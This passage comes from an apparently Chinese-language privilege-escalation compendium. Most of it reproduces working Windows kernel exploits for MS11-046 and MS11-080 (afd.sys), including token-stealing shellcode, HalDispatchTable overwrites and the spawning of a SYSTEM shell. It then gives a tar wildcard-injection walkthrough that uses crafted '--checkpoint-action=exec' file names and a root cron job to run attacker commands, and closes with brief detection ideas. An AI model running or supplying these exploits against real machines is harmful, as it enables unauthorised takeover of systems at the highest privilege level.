securityPatchesPtr = securityPatches; securityPatchesCount = 2; lpInBufferSize = 0x08; } // in case the OS version is 6.1, no service pack (note: Windows Server 2008 R2 is 64-bit only) else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 0)) { // the target machine's OS is Windows 7 printf(" [+] Windows 7\n"); shellcode_KPROCESS = '\x50'; shellcode_TOKEN = '\xF8'; shellcode_UPID = '\xB4'; shellcode_APLINKS = '\xB8'; const char *securityPatches[] = {"KB2503665"}; securityPatchesPtr = securityPatches; securityPatchesCount = 1; lpInBufferSize = 0x20; } // in case the OS version is 6.1, service pack 1 (note: Windows Server 2008 R2 is 64-bit only) else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 1)) { // the target machine's OS is Windows 7 SP1 printf(" [+] Windows 7 SP1\n"); shellcode_KPROCESS = '\x50'; shellcode_TOKEN = '\xF8'; shellcode_UPID = '\xB4'; shellcode_APLINKS = '\xB8'; const char *securityPatches[] = {"KB2503665", "KB2975684"}; securityPatchesPtr = securityPatches; securityPatchesCount = 2; lpInBufferSize = 0x10; } // in case the OS version is not any of the previously checked versions else { // the target machine's OS is an unsupported 32-bit Windows version printf(" [-] Unsupported version\n"); printf(" [*] Affected 32-bit operating systems\n"); printf(" [*] Windows XP SP3\n"); printf(" [*] Windows Server 2003 SP2\n"); printf(" [*] Windows Vista SP1\n"); printf(" [*] Windows Vista SP2\n"); printf(" [*] Windows Server 2008\n"); printf(" [*] Windows Server 2008 SP2\n"); printf(" [*] Windows 7\n"); printf(" [*] Windows 7 SP1\n"); return -1; } //////////////////////////////////////////////////////////////// // LOCATE REQUIRED OS COMPONENTS //////////////////////////////////////////////////////////////// printf("[*] Locating required OS components\n"); // retrieve system information // https://msdn.microsoft.com/en-us/library/windows/desktop/ms725506(v=vs.85).aspx // locate "ZwQuerySystemInformation" in the "ntdll.dll" module // https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx FARPROC ZwQuerySystemInformation; ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation"); // 11 = SystemModuleInformation // http://winformx.florian-rappl.de/html/e6d5d5c1-8d83-199b-004f-8767439c70eb.htm ULONG systemInformation; ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &systemInformation); // allocate memory for the list of loaded modules ULONG *systemInformationBuffer; systemInformationBuffer = (ULONG *) malloc(systemInformation * sizeof(*systemInformationBuffer)); if(!systemInformationBuffer) { printf(" [-] Could not allocate memory"); return -1; } // retrieve the list of loaded modules ZwQuerySystemInformation(11, systemInformationBuffer, systemInformation * sizeof(*systemInformationBuffer), NULL); // locate "ntkrnlpa.exe" or "ntoskrnl.exe" in the retrieved list of loaded modules ULONG i; PVOID targetKrnlMdlBaseAddr; HMODULE targetKrnlMdlUsrSpcOffs; BOOL foundModule = FALSE; PSYSTEM_MODULE_INFORMATION loadedMdlStructPtr; loadedMdlStructPtr = (PSYSTEM_MODULE_INFORMATION) (systemInformationBuffer + 1); for(i = 0; i < *systemInformationBuffer; i++) { if(strstr(loadedMdlStructPtr[i].ImageName, "ntkrnlpa.exe")) { printf(" [+] ntkrnlpa.exe\n"); targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntkrnlpa.exe", 0, 1); targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base; foundModule = TRUE; break; } else if(strstr(loadedMdlStructPtr[i].ImageName, "ntoskrnl.exe")) { printf(" [+] ntoskrnl.exe\n"); targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntoskrnl.exe", 0, 1); targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base; foundModule = TRUE; break; } } // base address of the loaded module (kernel space) printf(" [*] Address: %#010x\n", targetKrnlMdlBaseAddr); // offset address (relative to the parent process) of the loaded module (user space) printf(" [*] Offset: %#010x\n", targetKrnlMdlUsrSpcOffs); if(!foundModule) { printf(" [-] Could not find ntkrnlpa.exe/ntoskrnl.exe\n"); return -1; } // free allocated buffer space free(systemInformationBuffer); // determine the address of the "HalDispatchTable" process (kernel space) // locate the offset fo the "HalDispatchTable" process within the target module (user space) ULONG_PTR HalDispatchTableUsrSpcOffs; HalDispatchTableUsrSpcOffs = (ULONG_PTR) GetProcAddress(targetKrnlMdlUsrSpcOffs, "HalDispatchTable"); if(!HalDispatchTableUsrSpcOffs) { printf(" [-] Could not find HalDispatchTable\n"); return -1; } printf(" [+] HalDispatchTable\n"); printf(" [*] Offset: %#010x\n", HalDispatchTableUsrSpcOffs); // calculate the address of "HalDispatchTable" in kernel space // 1. identify the base address of the target module in kernel space // 2. previous step's result [minus] the load address of the same module in user space // 3. previous step's result [plus] the address of "HalDispatchTable" in user space // EQUIVALENT TO: // 1. determine RVA of HalDispatchTable // *Relative Virtual Address - the address of an item after it is loaded into memory, with the base address of the image file subtracted from it. // 2. previous step's result [plus] base address of target module in kernel space ULONG_PTR HalDispatchTableKrnlSpcAddr; HalDispatchTableKrnlSpcAddr = HalDispatchTableUsrSpcOffs - (ULONG_PTR) targetKrnlMdlUsrSpcOffs; HalDispatchTableKrnlSpcAddr += (ULONG_PTR) targetKrnlMdlBaseAddr; // locate "NtQueryIntervalProfile" in the "ntdll.dll" module PNTQUERYINTERVAL NtQueryIntervalProfile; NtQueryIntervalProfile = (PNTQUERYINTERVAL) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); if(!NtQueryIntervalProfile) { printf(" [-] Could not find NtQueryIntervalProfile\n"); return -1; } printf(" [+] NtQueryIntervalProfile\n"); printf(" [*] Address: %#010x\n", NtQueryIntervalProfile); // locate "ZwDeviceIoControlFile" routine in the "ntdll.dll" module // https://msdn.microsoft.com/en-us/library/windows/hardware/ff566441(v=vs.85).aspx FARPROC ZwDeviceIoControlFile; ZwDeviceIoControlFile = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwDeviceIoControlFile"); if(!ZwDeviceIoControlFile) { printf(" [-] Could not find ZwDeviceIoControlFile\n"); return -1; } printf(" [+] ZwDeviceIoControlFile\n"); printf(" [*] Address: %#010x\n", ZwDeviceIoControlFile); //////////////////////////////////////////////////////////////// // SETUP EXPLOITATION PREREQUISITE //////////////////////////////////////////////////////////////// printf("[*] Setting up exploitation prerequisite\n"); // initialize Winsock DLL printf (" [*] Initialising Winsock DLL\n"); WORD wVersionRequested; WSADATA wsaData; int wsaStartupErrorCode; // https://msdn.microsoft.com/en-us/library/windows/desktop/ms632663(v=vs.85).aspx wVersionRequested = MAKEWORD(2, 2); // initiate the use of the Winsock DLL // https://msdn.microsoft.com/en-us/library/windows/desktop/ms742213(v=vs.85).aspx wsaStartupErrorCode = WSAStartup(wVersionRequested, &wsaData); if(wsaStartupErrorCode != 0) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx printf(" [-] Failed (error code: %d)\n", wsaStartupErrorCode); return -1; } printf(" [+] Done\n"); // create socket printf(" [*] Creating socket\n"); SOCKET targetDeviceSocket = INVALID_SOCKET; // https://msdn.microsoft.com/en-us/library/windows/desktop/ms742212(v=vs.85).aspx targetDeviceSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); if(targetDeviceSocket == INVALID_SOCKET) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx printf(" [-] Failed (error code: %ld)\n", WSAGetLastError()); return -1; } printf(" [+] Done\n"); // connect to a closed port // connect to port 0 on the local machine struct sockaddr_in clientService; clientService.sin_family = AF_INET; clientService.sin_addr.s_addr = inet_addr("127.0.0.1"); clientService.sin_port = htons(0); printf(" [*] Connecting to closed port\n"); // https://msdn.microsoft.com/en-us/library/windows/desktop/ms737625(v=vs.85).aspx int connectResult; connectResult = connect(targetDeviceSocket, (SOCKADDR *) &clientService, sizeof(clientService)); if (connectResult == 0) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx printf (" [-] Connected (error code: %ld)\n", WSAGetLastError()); return -1; } printf(" [+] Done\n"); //////////////////////////////////////////////////////////////// // CREATE TOKEN STEALING SHELLCODE //////////////////////////////////////////////////////////////// printf("[*] Creating token stealing shellcode\n"); // construct the token stealing shellcode unsigned char shellcode[] = { 0x52, // PUSH EDX Save EDX on the stack (save context) 0x53, // PUSH EBX Save EBX on the stack (save context) 0x33,0xC0, // XOR EAX, EAX Zero out EAX (EAX = 0) 0x64,0x8B,0x80,0x24,0x01,0x00,0x00, // MOV EAX, FS:[EAX+0x124] Retrieve current _KTHREAD structure 0x8B,0x40,shellcode_KPROCESS, // MOV EAX, [EAX+_KPROCESS] Retrieve _EPROCESS structure 0x8B,0xC8, // MOV ECX, EAX Copy EAX (_EPROCESS) to ECX 0x8B,0x98,shellcode_TOKEN,0x00,0x00,0x00, // MOV EBX, [EAX+_TOKEN] Retrieve current _TOKEN 0x8B,0x80,shellcode_APLINKS,0x00,0x00,0x00, // MOV EAX, [EAX+_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xE8,shellcode_APLINKS,0x00,0x00,0x00, // SUB EAX, _APLINKS | Retrieve EPROCESS from ActiveProcessLinks 0x81,0xB8,shellcode_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // CMP [EAX+_UPID], 0x4 | Compare UniqueProcessId with 4 (System Process) 0x75,0xE8, // JNZ/JNE ---- Jump if not zero/not equal 0x8B,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV EDX, [EAX+_TOKEN] Copy SYSTEM _TOKEN to EDX 0x8B,0xC1, // MOV EAX, ECX Copy ECX (current process _TOKEN) to EAX 0x89,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV [EAX+_TOKEN], EDX Copy SYSTEM _TOKEN to current process _TOKEN 0x5B, // POP EBX Pop current stack value to EBX (restore context) 0x5A, // POP EDX Pop current stack value to EDX (restore context) 0xC2,0x08 // RET 8 Return }; printf(" [*] Shellcode assembled\n"); // allocate memory (RWE permissions) for the shellcode printf(" [*] Allocating memory\n"); LPVOID shellcodeAddress; shellcodeAddress = VirtualAlloc((PVOID) 0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); int errorCode = 0; if(shellcodeAddress == NULL) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx errorCode = GetLastError(); // in case of ERROR_INVALID_ADDRESS if(errorCode == 487) { // Attempt to access invalid address // occurs since a fixed address is being reserved // http://stackoverflow.com/questions/21368429/error-code-487-error-invalid-address-when-using-virtualallocex printf(" [!] Could not reserve entire range\n"); printf(" [*] Rerun exploit\n"); } // in case of any other error else printf(" [-] Failed (error code: %d)\n", errorCode); return -1; } printf(" [+] Address: %#010x\n", shellcodeAddress); // copy the shellcode to the allocated memory memset(shellcodeAddress, 0x90, 0x20000); memcpy((shellcodeAddress + 0x10000), shellcode, sizeof(shellcode)); printf(" [*] Shellcode copied\n"); //////////////////////////////////////////////////////////////// // EXPLOIT THE VULNERABILITY //////////////////////////////////////////////////////////////// printf("[*] Exploiting vulnerability\n"); // send AFD socket connect request printf(" [*] Sending AFD socket connect request\n"); DWORD lpInBuffer[lpInBufferSize]; memset(lpInBuffer, 0, (lpInBufferSize * sizeof(DWORD))); lpInBuffer[3] = 0x01; lpInBuffer[4] = 0x20; ULONG lpBytesReturned = 0; if(DeviceIoControl( (HANDLE) targetDeviceSocket, 0x00012007, // IOCTL_AFD_CONNECT (PVOID) lpInBuffer, sizeof(lpInBuffer), (PVOID) (HalDispatchTableKrnlSpcAddr + 0x6), 0x0, &lpBytesReturned, NULL ) == 0) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx errorCode = GetLastError(); // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx // in case of ERROR_INVALID_NETNAME if(errorCode == 1214) { // AFD socket connect request successful printf(" [+] Done\n"); } // in case of ERROR_NOACCESS else if(errorCode == 998) { // AFD socket connect request unsuccessful - target is patched printf(" [!] Target patched\n"); printf(" [*] Possible security patches\n"); for(i = 0; i < securityPatchesCount; i++) printf(" [*] %s\n", securityPatchesPtr[i]); return -1; } // in case of any other error message else { // print the error code printf(" [-] Failed (error code: %d)\n", errorCode); return -1; } } // elevate privileges of the current process printf(" [*] Elevating privileges to SYSTEM\n"); ULONG outInterval = 0; // https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html NtQueryIntervalProfile(2, &outInterval); printf(" [+] Done\n"); // spawn shell (with elevated privileges) printf(" [*] Spawning shell\n"); // spawn SYSTEM shell within the current shell (remote shell friendly) system ("c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32"); // clean up and exit printf("\n[*] Exiting SYSTEM shell\n"); WSACleanup(); return 1; } // EoF
Relevant Link:
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046 https://github.com/abatchy17/WindowsExploits/blob/master/MS11-046/40564.c
5. MS11080【'afd.sys' Local Privilege Escalation】
################################################################################ ######### MS11-080 - CVE-2011-2005 Afd.sys Privilege Escalation Exploit ######## ######### Author: ryujin@offsec.com - Matteo Memelli ######## ######### Spaghetti & Pwnsauce ######## ######### yuck! 0xbaadf00d Elwood@mac&cheese.com ######## ######### ######## ######### Thx to dookie(lifesaver)2000ca, dijital1 and ronin ######## ######### for helping out! ######## ######### ######## ######### To my Master Shifu muts: ######## ######### "So that's it, I just need inner peace?" ;) ######## ######### ######## ######### Exploit tested on the following 32bits systems: ######## ######### Win XPSP3 Eng, Win 2K3SP2 Standard/Enterprise Eng ######## ################################################################################ from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER, c_char, c_short, c_ushort, c_int, c_uint, c_ulong, c_void_p, c_long, c_char_p) from ctypes.wintypes import HANDLE, DWORD import socket, time, os, struct, sys from optparse import OptionParser usage = "%prog -O TARGET_OS" parser = OptionParser(usage=usage) parser.add_option("-O", "--target-os", type="string", action="store", dest="target_os", help="Target OS. Accepted values: XP, 2K3") (options, args) = parser.parse_args() OS = options.target_os if not OS or OS.upper() not in ['XP','2K3']: parser.print_help() sys.exit() OS = OS.upper() kernel32 = windll.kernel32 ntdll = windll.ntdll Psapi = windll.Psapi def findSysBase(drvname=None): ARRAY_SIZE = 1024 myarray = c_ulong * ARRAY_SIZE lpImageBase = myarray() cb = c_int(1024) lpcbNeeded = c_long() drivername_size = c_long() drivername_size.value = 48 Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) for baseaddy in lpImageBase: drivername = c_char_p("\x00"*drivername_size.value) if baseaddy: Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, drivername_size.value) if drvname: if drivername.value.lower() == drvname: print "[+] Retrieving %s info..." % drvname print "[+] %s base address: %s" % (drvname, hex(baseaddy)) return baseaddy else: if drivername.value.lower().find("krnl") !=-1: print "[+] Retrieving Kernel info..." print "[+] Kernel version:", drivername.value print "[+] Kernel base address: %s" % hex(baseaddy) return (baseaddy, drivername.value) return None print "[>] MS11-080 Privilege Escalation Exploit" print "[>] Matteo Memelli - ryujin@offsec.com" print "[>] Release Date 28/11/2011" WSAGetLastError = windll.Ws2_32.WSAGetLastError WSAGetLastError.argtypes = () WSAGetLastError.restype = c_int SOCKET = c_int WSASocket = windll.Ws2_32.WSASocketA WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD) WSASocket.restype = SOCKET closesocket = windll.Ws2_32.closesocket closesocket.argtypes = (SOCKET,) closesocket.restype = c_int connect = windll.Ws2_32.connect connect.argtypes = (SOCKET, c_void_p, c_int) connect.restype = c_int class sockaddr_in(Structure): _fields_ = [ ("sin_family", c_short), ("sin_port", c_ushort), ("sin_addr", c_ulong), ("sin_zero", c_char * 8), ] ## Create our deviceiocontrol socket handle client = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0) if client == ~0: raise OSError, "WSASocket: %s" % (WSAGetLastError(),) try: addr = sockaddr_in() addr.sin_family = socket.AF_INET addr.sin_port = socket.htons(4455) addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1 ## We need to connect to a closed port, socket state must be CONNECTING connect(client, byref(addr), sizeof(addr)) except: closesocket(client) raise baseadd = c_int(0x1001) MEMRES = (0x1000 | 0x2000) PAGEEXE = 0x00000040 Zerobits = c_int(0) RegionSize = c_int(0x1000) written = c_int(0) ## This will trigger the path to AfdRestartJoin irpstuff = ("\x41\x41\x41\x41\x42\x42\x42\x42" "\x00\x00\x00\x00\x44\x44\x44\x44" "\x01\x00\x00\x00" "\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231) ## Allocate space for the input buffer dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE) # Copy input buffer to it kernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written)) startPage = c_int(0x00020000) kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written)) ################################# KERNEL INFO ################################## lpDriver = c_char_p() lpPath = c_char_p() lpDrvAddress = c_long() (krnlbase, kernelver) = findSysBase() hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1) HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += krnlbase print "[+] HalDispatchTable address:", hex(HalDispatchTable) halbase = findSysBase("hal.dll") ## WinXP SP3 if OS == "XP": HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3 HalpSetSystemInformation = halbase+0x19436 # Offset for XPSP3 ## Win2k3 SP2 else: HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3 HalpSetSystemInformation = halbase+0x21c60 # Offset for WIN2K3 print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation) print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation) ################################# EXPLOITATION ################################# shellcode_address_dep = 0x0002071e shellcode_address_nodep = 0x000207b8 padding = "\x90"*2 HalDispatchTable0x4 = HalDispatchTable + 0x4 HalDispatchTable0x8 = HalDispatchTable + 0x8 ## tokenbkaddr = 0x00020900 if OS == "XP": _KPROCESS = "\x44" _TOKEN = "\xc8" _UPID = "\x84" _APLINKS = "\x88" else: _KPROCESS = "\x38" _TOKEN = "\xd8" _UPID = "\x94" _APLINKS = "\x98" restore_ptrs = "\x31\xc0" + \ "\xb8" + struct.pack("L", HalpSetSystemInformation) + \ "\xa3" + struct.pack("L", HalDispatchTable0x8) + \ "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \ "\xa3" + struct.pack("L", HalDispatchTable0x4) tokenstealing = "\x52" +\ "\x53" +\ "\x33\xc0" +\ "\x64\x8b\x80\x24\x01\x00\x00" +\ "\x8b\x40" + _KPROCESS +\ "\x8b\xc8" +\ "\x8b\x98" + _TOKEN + "\x00\x00\x00" +\ "\x89\x1d\x00\x09\x02\x00" +\ "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\ "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\ "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\ "\x75\xe8" +\ "\x8b\x90" + _TOKEN + "\x00\x00\x00" +\ "\x8b\xc1" +\ "\x89\x90" + _TOKEN + "\x00\x00\x00" +\ "\x5b" +\ "\x5a" +\ "\xc2\x10" restore_token = "\x52" +\ "\x33\xc0" +\ "\x64\x8b\x80\x24\x01\x00\x00" +\ "\x8b\x40" + _KPROCESS +\ "\x8b\x15\x00\x09\x02\x00" +\ "\x89\x90" + _TOKEN + "\x00\x00\x00" +\ "\x5a" +\ "\xc2\x10" shellcode = padding + restore_ptrs + tokenstealing shellcode_size = len(shellcode) orig_size = shellcode_size # Write shellcode in userspace (dep) kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode, shellcode_size, byref(written)) # Write shellcode in userspace *(nodep) kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode, shellcode_size, byref(written)) ## Trigger Pointer Overwrite print "[*] Triggering AFDJoinLeaf pointer overwrite..." IOCTL = 0x000120bb # AFDJoinLeaf inputbuffer = 0x1004 inputbuffer_size = 0x108 outputbuffer_size = 0x0 # Bypass Probe for Write outputbuffer = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1 IoStatusBlock = c_ulong() NTSTATUS = ntdll.ZwDeviceIoControlFile(client, None, None, None, byref(IoStatusBlock), IOCTL, inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size ) ## Trigger shellcode inp = c_ulong() out = c_ulong() inp = 0x1337 hola = ntdll.NtQueryIntervalProfile(inp, byref(out)) ## Spawn a system shell, w00t! print "[*] Spawning a SYSTEM shell..." os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32") ############################## POST EXPLOITATION ############################### print "[*] Restoring token..." ## Restore the thingie shellcode = padding + restore_ptrs + restore_token shellcode_size = len(shellcode) trail_padding = (orig_size - shellcode_size) * "\x00" shellcode += trail_padding shellcode_size += (orig_size - shellcode_size) ## Write restore shellcode in userspace (dep) kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode, shellcode_size, byref(written)) ## Write restore shellcode in userspace (nodep) kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode, shellcode_size, byref(written)) ## Overwrite HalDispatchTable once again NTSTATUS = ntdll.ZwDeviceIoControlFile(client, None, None, None, byref(IoStatusBlock), IOCTL, inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size ) ## Trigger restore shellcode hola = ntdll.NtQueryIntervalProfile(inp, byref(out)) print "[+] Restore done! Have a nice day :)"
Relevant Link:
https://www.exploit-db.com/exploits/18176 https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS11-080/CVE-2011-2005.py
2. 数据库提权
Relevant Link:
https://www.jianshu.com/p/271312b96170
3. 绕过Applocker
Relevant Link:
https://www.anquanke.com/post/id/160948
4. PHP disable限制绕过
使用procfs(/proc/self/mem)在当前进程内存空间中将open重写为system,从而绕过disable_functions的限制。
以shellcode的形式将syscall传递给php解释器,使用一系列命令来传递系统调用。
Relevant Link:
https://www.anquanke.com/post/id/168791
5. Sudo提权
6. 篡改系统敏感文件提权
- /etc/passwd
- /etc/shadow
7. 利用通配符特性劫持系统原生指令的callback实现提权
0x1:从通配符原理说起
通配符是一个字符或一组字符,可以用来替换某些范围/类别的字符。在执行任何其他操作之前,通配符首先要经过shell进行解释。
下面是一些常见的通配符:
- *:星号可以与文件名中的任意数量的字符匹配,包括0个字符
- ?:问号用于匹配任意单个字符
- [ ]:括号内包括一组字符,其中任何一个字符都可以匹配该位置上的单个字符
- -:[]中的连字符表示字符范围
- ~:单词开头的波浪符表示当前用户的主目录的名称。如果该字符后面是另一个用户的登录名,则表示该用户的主目录
通配符的问题不在于通配符机制本身,而在于系统如何处理通配符的方式。
因为通配符的存在,解析通配符的指令会被重复执行多次,而具体执行多少次,每次具体解析什么参数,都是事先未知的,这就为“指令注入(command injection)”提供了理论上的可能。可以这么说,通配符提权问题本质上是一种指令参数注入攻击。
0x2:一个简单的例子(Wildcard wildness)
cd /tmp mkdir wild cd wild echo "Hello Friends" > file1 echo "This is wildcard Injection" >file2 echo "take help" > --help
之后,利用cat命令打开这3个文件:
cat file1 cat file 2 cat --help
但是,前两个文件正常打开,显示的信息与上面写入的信息相同。但是cat命令无法读取写到–help文件内的信息。在打开-help文件时,cat不会显示“take help”,而是利用-help选项调用自己,这种类型的技巧称为Wildcard wildness。
从目前看来,Wildcard wildness仅仅是一种技巧,要在实际的攻击中发挥作用,这里有两个最主要的条件因素:
- 如何诱发被参数注入的指令被执行:例如本例中的“cat --help”,管理员好好的不可能会去执行这个指令的。这就是通配符发挥的作用了,因为通配符的存在,例如“cat ./*”,使得攻击者特殊构造的文件有机会形成指令参数注入,并被成功执行
- 注入的参数如何转化为进一步的攻击向量:这取决于被注入的指令本身具备哪些能力,例如
- chown的参数“–reference=RFILE”,强制根据参数中指定的文件(RFILE)所有者和组,修改待修改文件的属主
0x3:实际的攻击例子
1. 通过tar投送漏洞利用代码
Tar是一个非常常见的UNIX程序,可用于创建和提取档案。在它的帮助下,我们能够压缩任何目录的备份。例如,创建一个新目录,并赋予它所有权限,然后,创建一些文件。管理员常常借助tar进行网站和核心文件的备份工作,并通过rsyn同步到远程备份服务器中。
同样,黑客也可以利用通配符机制,借助tar实现远程代码执行,本质上是一种应用劫持攻击,
mkdir html chmod 777 html cd html touch index.html touch raj touch file.txt
现在,使用crontab安排一项任务:运行tar程序,每隔1分钟将/html目录备份到/var/backups中。
*/1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
接下来,通过执行以下命令来验证该任务是否正常工作。
现在假设黑客通过ssh成功登录到受害者的机器并可以访问非root用户终端。然后,打开crontab查看是否有任何工作计划。
在这里,我们注意到目标机器每隔1分钟会调度一次tar归档程序,并且我们知道,cron作业是以root身份运行的。下面我们尝试通过通配符来攻击系统。
在受害者的tty shell中切换到/var/www/html/目录下,并运行以下命令(添加tar通配符劫持的特殊文件),
echo "echo hacked by little > /var/backups/hacked.txt" > shell.sh echo "" > "--checkpoint-action=exec=sh shell.sh" echo "" > --checkpoint=1
由于tar命令由于crontab而以root身份运行,因此在1分钟后,将会看到在/var/backups下多出了一个hacked.txt文件,表明攻击成功。
类似地,可以将植入指令换成反弹shell等其他rce指令。
漏洞产生的原理如下,
- –checkpoint[=NUMBER] 每个处理指定数量的记录(默认为10),就显示一次进度
- –checkpoint-action=ACTION 在每个检查点上执行ACTION,该选项用来规定达到检查点时将执行的程序。最重要的是,这允许我们运行任意的命令
因此,'-checkpoint = 1'和'-checkpoint-action = exec = sh shell.sh'将作为命令行选项传递给tar程序。本质上等价于下列指令,
tar -zcf /var/backups/html.tgz /var/www/html/ --checkpoint-action=exec=sh shell.sh --checkpoint=1
类似地可以举一反三,系统上其他的posix原生指令程序,也存在很多“callback回调”功能接口,都可以被利用进行通配符劫持rce。
Relevant Link:
https://www.secpulse.com/archives/72965.html
8. 提权检测方法
0x1:uid/username变动检测
追踪提权攻击的进程链,如果uid/username change之后,有反弹shell进程、bash会话启动,则很可能是提权攻击。
0x2:exp程序检测
yara、正则特征规则
0x3:检测修改用户权限的可疑行为
- /etc/passw可疑账号审计:发现非root的uid=0的可疑账号
- /etc/passwd篡改检测:针对这类系统敏感文件,建立进程写文件白名单
0x4:借助具有S位权限程序的提权
通过提权写操作,替换系统内置的具有s位权限的程序文件。
可以基于系统文件完整性监控进行检测(ossec),或者定时全盘扫描机制。
命令监控方面,针对chmod+s进行实时命令审计。